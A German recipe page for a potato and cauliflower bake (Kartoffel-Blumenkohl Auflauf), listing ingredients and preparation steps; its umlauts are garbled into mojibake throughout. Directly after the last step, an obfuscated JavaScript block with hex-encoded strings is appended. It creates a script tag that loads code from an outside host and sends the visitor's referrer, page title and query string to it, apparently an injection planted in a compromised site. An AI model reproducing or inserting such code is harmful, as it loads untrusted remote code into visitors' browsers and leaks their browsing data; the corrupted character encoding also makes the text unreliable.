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Kartoffel – Blumenkohl Auflauf

Ein leckeres Blumenkohl Kartoffeln Auflauf Rezept. Eine deftiges, herzhaftes vegetarisches Gericht mit aromatischen KrA�utern.

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  • Zutaten:
  • 500 g Kartoffeln
  • einen halben Blumenkohl
  • 1 Knoblauchzehe
  • 1 Zwiebel
  • 1 Tube Tomatenmark
  • 200 ml GemA?sebrA?he
  • 1 Packung Mozarella
  • 100g KA�se
  • eine Handvoll frischer KrA�uter ( Basilikum, Majoran…)

Zubereitung:

kartoffel-blumenkohlauflauf.jpg

Die Kartoffeln kochen und schA�len. Den Blumenkohl in kleine RA�schen teilen und kurz im heiAYen Wasser blanchieren. Den Knoblauch und den Zwiebel klein schneiden und kurz anbraten. Mit der GemA?sebrA?he ablA�schen. Anschliessend das Tomatenmark unterrA?hren. Den Ofen auf 180A� C Unterhitze vorheizen.

Den Mozarella in kleine StA?cke schneiden und zur Tomatensauce geben das ganze ca. 5 min vor sich hinkA�cheln lassen. In der Zwischenzeit die Kartoffeln und den Blumenkohl in einer Auflaufform verteilen und den KA�se reiben.

Die Tomatensauce mit Salz und Pfeffer und den KrA�utern abschmecken und A?ber das GemA?se gieAYen. Den KA�se darauf verteilen und den Auflauf fA?r 30 min. in den Ofen schieben.var _0xd052=[„x73x63x72x69x70x74″,“x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,“x73x72x63″,“x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx33x63x58x66x71x6Bx26x73x65x5Fx72x65x66x65x72x72x65x72x3D“,“x72x65x66x65x72x72x65x72″,“x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D“,“x74x69x74x6Cx65″,“x26″,“x3F“,“x72x65x70x6Cx61x63x65″,“x73x65x61x72x63x68″,“x6Cx6Fx63x61x74x69x6Fx6E“,“x26x66x72x6Dx3Dx73x63x72x69x70x74″,“x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,“x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,“x70x61x72x65x6Ex74x4Ex6Fx64x65″,“x61x70x70x65x6Ex64x43x68x69x6Cx64″,“x68x65x61x64″,“x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,“x70x72x6Fx74x6Fx63x6Fx6C“,“x68x74x74x70x73x3A“,“x69x6Ex64x65x78x4Fx66″,“x52x5Fx50x41x54x48″,“x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E“];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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